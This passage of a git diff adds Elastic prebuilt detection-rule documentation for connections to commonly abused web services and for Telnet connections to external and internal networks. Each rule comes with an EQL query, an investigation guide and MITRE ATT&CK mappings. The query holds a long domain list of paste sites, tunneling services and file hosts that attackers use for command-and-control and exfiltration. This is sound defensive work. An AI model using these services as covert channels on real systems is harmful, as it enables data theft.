"?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe" + ) or + ( + ?process.code_signature.trusted == true and + ?process.code_signature.subject_name : ( + "Anthropic, PBC", "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Island Technology Inc.", + "Opera Norway AS", "OpenJS Foundation", "Developer ID Application: Node.js Foundation (HX7739G8FX)" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-commonly-abused-web-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-commonly-abused-web-services.asciidoc new file mode 100644 index 0000000000..be075300b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-commonly-abused-web-services.asciidoc @@ -0,0 +1,447 @@ +[[prebuilt-rule-8-19-36-connection-to-commonly-abused-web-services]] +=== Connection to Commonly Abused Web Services + +Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry +* https://specterops.io/blog/2026/01/30/weaponizing-whitelists-an-azure-blob-storage-mythic-c2-profile/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Service Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 135 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Commonly Abused Web Services* + + +Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. + +This rule looks for processes outside known legitimate program locations communicating with a list of services that can be abused for exfiltration or command and control. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Verify whether the digital signature exists in the executable. +- Identify the operation type (upload, download, tunneling, etc.). +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives because it detects communication with legitimate services. Noisy false positives can be added as exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and + dns.question.name != null and process.name != null and + not (?user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") or user.domain == "NT AUTHORITY") and + /* Add new WebSvc domains here */ + dns.question.name : + ( + "raw.githubusercontent.*", + "pastebin.*", + "paste4btc.com", + "paste.ee", + "ghostbin.com", + "drive.google.com", + "?.docs.live.net", + "api.dropboxapi.*", + "content.dropboxapi.*", + "dl.dropboxusercontent.*", + "api.onedrive.com", + "*.onedrive.org", + "onedrive.live.com", + "filebin.net", + "*.ngrok.io", + "ngrok.com", + "*.portmap.*", + "*serveo.net", + "*localtunnel.me", + "*pagekite.me", + "*localxpose.io", + "*notabug.org", + "rawcdn.githack.*", + "paste.nrecom.net", + "zerobin.net", + "controlc.com", + "requestbin.net", + "slack.com", + "api.slack.com", + "slack-redir.net", + "slack-files.com", + "cdn.discordapp.com", + "discordapp.com", + "discord.com", + "apis.azureedge.net", + "cdn.sql.gg", + "?.top4top.io", + "top4top.io", + "www.uplooder.net", + "*.cdnmegafiles.com", + "transfer.sh", + "gofile.io", + "updates.peer2profit.com", + "api.telegram.org", + "t.me", + "meacz.gq", + "rwrd.org", + "*.publicvm.com", + "*.blogspot.com", + "api.mylnikov.org", + "file.io", + "stackoverflow.com", + "*files.1drv.com", + "api.anonfile.com", + "*hosting-profi.de", + "ipbase.com", + "ipfs.io", + "*up.freeo*.space", + "api.mylnikov.org", + "script.google.com", + "script.googleusercontent.com", + "api.notion.com", + "graph.microsoft.com", + "*.sharepoint.com", + "mbasic.facebook.com", + "login.live.com", + "api.gofile.io", + "api.anonfiles.com", + "api.notion.com", + "api.trello.com", + "gist.githubusercontent.com", + "files.pythonhosted.org", + "g.live.com", + "*.zulipchat.com", + "webhook.site", + "run.mocky.io", + "mockbin.org", + "*googleapis.com", + "global.rel.tunnels.api.visualstudio.com", + "*.devtunnels.ms", + "api.github.com", + "*.blob.core.windows.net", + "*.blob.storage.azure.net", + "files.catbox.moe", + "*.supabase.co", + "*.elastic-cloud.com", + "*.cloud.es.io", + "*icp0.io") and + + /* Insert noisy false positives here */ + not ( + ( + process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\NisSrv.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\*\\MsSense.exe", + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe", + "?:\\Users\\*\\AppData\\Local\\PowerToys\\PowerToys.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Zen Browser\\zen.exe", + "?:\\Users\\*\\Wavesor Software\\WaveBrowser\\wavebrowser.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\System32\\WWAHost.exe" + ) + ) or + + /* Fleet hostname lookups attributed to ipconfig */ + (process.executable : "?:\\Windows\\System32\\ipconfig.exe" and + dns.question.name : ("*.elastic-cloud.com", "*.cloud.es.io") + ) or + + /* Google browser-support endpoints */ + dns.question.name : ("fonts.googleapis.com", "update.googleapis.com", "safebrowsing.googleapis.com", + "content-autofill.googleapis.com", "optimizationguide-pa.googleapis.com", + "passwordsleakcheck-pa.googleapis.com") or + + /* Discord App */ + (process.name : "Discord.exe" and (process.code_signature.subject_name : "Discord Inc." and + process.code_signature.trusted == true) and dns.question.name : ("discord.com", "cdn.discordapp.com", "discordapp.com", + "discord-attachments-uploads-prd.storage.googleapis.com") + ) or + + /* MS Sharepoint / OneDrive */ + (process.name : ("Microsoft.SharePoint.exe", "OneDrive.Sync.Service.exe") and dns.question.name : "onedrive.live.com" and + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Obsidian - Plugins are stored on raw.githubusercontent.com */ + (process.name : "Obsidian.exe" and (process.code_signature.subject_name : "Dynalist Inc" and + process.code_signature.trusted == true) and dns.question.name : "raw.githubusercontent.com" + ) or + + /* WebExperienceHostApp */ + (process.name : "WebExperienceHostApp.exe" and (process.code_signature.subject_name : "Microsoft Windows" and + process.code_signature.trusted == true) and dns.question.name : ("onedrive.live.com", "skyapi.onedrive.live.com") + ) or + + /* IntelliJ IDEA connecting to raw.githubusercontent.com */ + (process.code_signature.subject_name : "JetBrains s.r.o." and + process.code_signature.trusted == true and dns.question.name : ("api.github.com", "raw.githubusercontent.com") + ) or + + (process.code_signature.subject_name : "Microsoft *" and process.code_signature.trusted == true and + dns.question.name : ("*.sharepoint.com", "graph.microsoft.com", "g.live.com", "login.live.com", + "*.blob.core.windows.net", "*.blob.storage.azure.net", "*.googleapis.com") + ) or + + (process.code_signature.subject_name : ("Python Software Foundation", "Anaconda, Inc.") and + process.code_signature.trusted == true and dns.question.name : "files.pythonhosted.org" + ) or + + /* Zoom */ + (process.name : "Zoom.exe" and ( + process.code_signature.subject_name : ("Zoom Video Communications, Inc.", "Zoom Communications, Inc.") and + process.code_signature.trusted == true) and dns.question.name : ("*.googleapis.com", "graph.microsoft.com", "*.blob.core.windows.net") + ) or + + /* VSCode */ + (process.name : "Code.exe" and (process.code_signature.subject_name : "Microsoft Corporation" and + process.code_signature.trusted == true) and dns.question.name : ("api.github.com", "raw.githubusercontent.com", + "*.googleapis.com", "files.pythonhosted.org") + ) or + + /* VS Code C# Dev Kit and Azure Storage Explorer */ + (process.name : ("Microsoft.VisualStudio.Code.Server.exe", "StorageExplorer.exe") and + process.code_signature.subject_name : "Microsoft Corporation" and + process.code_signature.trusted == true and + dns.question.name : "raw.githubusercontent.com" + ) or + + /* Grammarly */ + (process.name : "Grammarly.Desktop.exe" and + process.code_signature.subject_name : "Grammarly, Inc." and + process.code_signature.trusted == true and + dns.question.name : ("drive.google.com", "*.sharepoint.com") + ) or + + /* ClickUp and WPS Office */ + (process.name : ("ClickUp.exe", "promecefpluginhost.exe") and + process.code_signature.subject_name : ( + "CLICKUP (MANGO TECHNOLOGIES, INC.)", "WPS SOFTWARE PTE. LTD.", "Zhuhai Kingsoft Office Software Co., Ltd." + ) and + process.code_signature.trusted == true and + dns.question.name : ("firebase.googleapis.com", "firebaseinstallations.googleapis.com", "fcmregistrations.googleapis.com") + ) or + + /* Terraform */ + (process.name : "terraform-provider*.exe" and (process.code_signature.subject_name : "HashiCorp, Inc." and + process.code_signature.trusted == true) and dns.question.name : "graph.microsoft.com" + ) or + + /* Telegram */ + (process.name : "Telegram.exe" and (process.code_signature.subject_name : "Telegram FZ-LLC" and + process.code_signature.trusted == true) and dns.question.name : "*.googleapis.com" + ) or + + ( + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Johannes Schindelin", + "Redis Inc.", + "Slack Technologies, LLC", + "Cisco Systems, Inc.", + "Dropbox, Inc", + "Amazon.com Services LLC", + "Island Technology Inc.", + "GitHub, Inc.", + "Red Hat, Inc", + "Mozilla Corporation", + "Spotify AB", + "DeepL SE", + "Google LLC", + "Anthropic, PBC", + "OpenAI OpCo, LLC", + "Anysphere, Inc.", + "PERPLEXITY AI, INC." + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Sub-technique: +** Name: Exfiltration to Text Storage Sites +** ID: T1567.003 +** Reference URL: https://attack.mitre.org/techniques/T1567/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-external-network-via-telnet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-external-network-via-telnet.asciidoc new file mode 100644 index 0000000000..429016d326 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-external-network-via-telnet.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-connection-to-external-network-via-telnet]] +=== Connection to External Network via Telnet + +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet network connections to publicly routable IP addresses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Connection to External Network via Telnet* + + +Telnet is a protocol offering a command-line interface for remote communication, often used for device management. However, its lack of encryption makes it vulnerable to interception, allowing adversaries to exploit it for unauthorized access or data exfiltration. The detection rule identifies Telnet connections to external IPs, flagging potential lateral movement by excluding known internal and reserved IP ranges. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process.entity_id and destination IP address involved in the Telnet connection. +- Verify the legitimacy of the destination IP address by checking if it belongs to a known or trusted external entity, using threat intelligence sources or IP reputation services. +- Investigate the process details associated with the process.entity_id to determine the user account and command line arguments used during the Telnet session. +- Check the system logs and user activity on the host to identify any unusual behavior or unauthorized access attempts around the time of the Telnet connection. +- Assess whether the Telnet connection aligns with expected business operations or if it indicates potential lateral movement or data exfiltration attempts. + + +*False positive analysis* + + +- Internal device management using Telnet may trigger false positives if the destination IPs are not included in the known internal ranges. Users should verify and update the list of internal IP ranges to include any additional internal networks used for legitimate Telnet connections. +- Automated scripts or monitoring tools that use Telnet for legitimate purposes can cause false positives. Identify these scripts and consider creating exceptions for their specific IP addresses or process names to prevent unnecessary alerts. +- Testing environments that simulate external connections for development purposes might be flagged. Ensure that IP addresses used in these environments are documented and excluded from the detection rule to avoid false positives. +- Legacy systems that rely on Telnet for communication with external partners or services may be mistakenly flagged. Review these systems and, if deemed secure, add their IP addresses to an exception list to reduce false alerts. +- Misconfigured network devices that inadvertently use Telnet for external communication can trigger alerts. Regularly audit network configurations and update the detection rule to exclude known benign IPs associated with these devices. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected host to stop ongoing malicious activity. +- Conduct a thorough review of the affected system's logs and processes to identify any unauthorized changes or additional compromised accounts. +- Change all passwords associated with the affected system and any other systems that may have been accessed using Telnet. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network segmentation to limit Telnet access to only necessary internal systems and block Telnet traffic to external networks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- SentinelOne Cloud Funnel + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and process.name == "telnet"] + [network where host.os.type == "linux" and process.name == "telnet" and not cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-internal-network-via-telnet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-internal-network-via-telnet.asciidoc new file mode 100644 index 0000000000..3a0378b2c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-internal-network-via-telnet.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-36-connection-to-internal-network-via-telnet]] +=== Connection to Internal Network via Telnet + +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet network connections to non-publicly routable IP addresses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Connection to Internal Network via Telnet* + + +Telnet is a protocol offering a command-line interface for remote device management, often used in network environments. Adversaries may exploit Telnet to move laterally within a network, accessing non-public IPs to execute commands or exfiltrate data. The detection rule identifies Telnet connections to internal IP ranges, flagging potential unauthorized access attempts, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the process details to confirm the Telnet connection initiation by examining the process.entity_id and process.name fields to ensure the process is indeed Telnet. +- Analyze the destination IP address to determine if it falls within the specified non-public IP ranges, indicating an internal network connection attempt. +- Check the event.type field to verify that the Telnet process event is of type "start", confirming the initiation of a connection. +- Investigate the source host by reviewing host.os.type and other relevant host details to understand the context and legitimacy of the connection attempt. +- Correlate the Telnet activity with any other suspicious network or process activities on the same host to identify potential lateral movement or data exfiltration attempts. +- Consult historical logs and alerts to determine if there have been previous similar Telnet connection attempts from the same source, which might indicate a pattern or ongoing threat. + + +*False positive analysis* + + +- Routine administrative tasks using Telnet within internal networks can trigger false positives. To manage this, create exceptions for known IP addresses or specific user accounts that regularly perform these tasks. +- Automated scripts or monitoring tools that use Telnet for legitimate purposes may be flagged. Identify these scripts and whitelist their associated processes or IP addresses to prevent unnecessary alerts. +- Internal testing environments often simulate network activities, including Telnet connections. Exclude IP ranges associated with these environments to reduce false positives. +- Legacy systems that rely on Telnet for communication might generate alerts. Document these systems and apply exceptions based on their IP addresses or hostnames to avoid repeated false positives. +- Regularly review and update the list of excluded IPs and processes to ensure that only legitimate activities are exempted, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement or data exfiltration. +- Terminate any active Telnet sessions on the affected host to stop unauthorized access. +- Conduct a thorough review of the affected host's system logs and Telnet session logs to identify any unauthorized commands executed or data accessed. +- Change all credentials that may have been exposed or used during the unauthorized Telnet sessions to prevent further unauthorized access. +- Apply security patches and updates to the affected host and any other systems that may be vulnerable to similar exploitation. +- Implement network segmentation to limit Telnet access to only necessary systems and ensure that Telnet is disabled on systems where it is not required. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- SentinelOne Cloud Funnel + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and process.name == "telnet"] + [network where host.os.type == "linux" and process.name == "telnet" and cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", 